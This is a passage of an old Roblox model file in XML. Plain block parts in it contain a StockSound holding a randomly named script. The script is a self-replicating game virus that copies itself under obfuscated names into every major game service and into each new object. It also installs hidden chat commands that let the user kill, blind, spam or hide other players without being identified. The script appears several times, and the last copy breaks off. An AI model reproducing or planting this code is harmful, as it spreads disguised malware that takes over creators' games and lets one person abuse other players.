if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX838">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-160</X>
					<Y>39.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX839">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX840">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX841">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-148</X>
					<Y>39.1999969</Y>
					<Z>-11.5</Z>
					<R00>-4.90930538e-014</R00>
					<R01>8.53734248e-015</R01>
					<R02>-1</R02>
					<R10>-1.70976497e-014</R10>
					<R11>1</R11>
					<R12>-8.53734248e-015</R12>
					<R20>1</R20>
					<R21>-1.70976497e-014</R21>
					<R22>4.90930538e-014</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX842">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX843">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
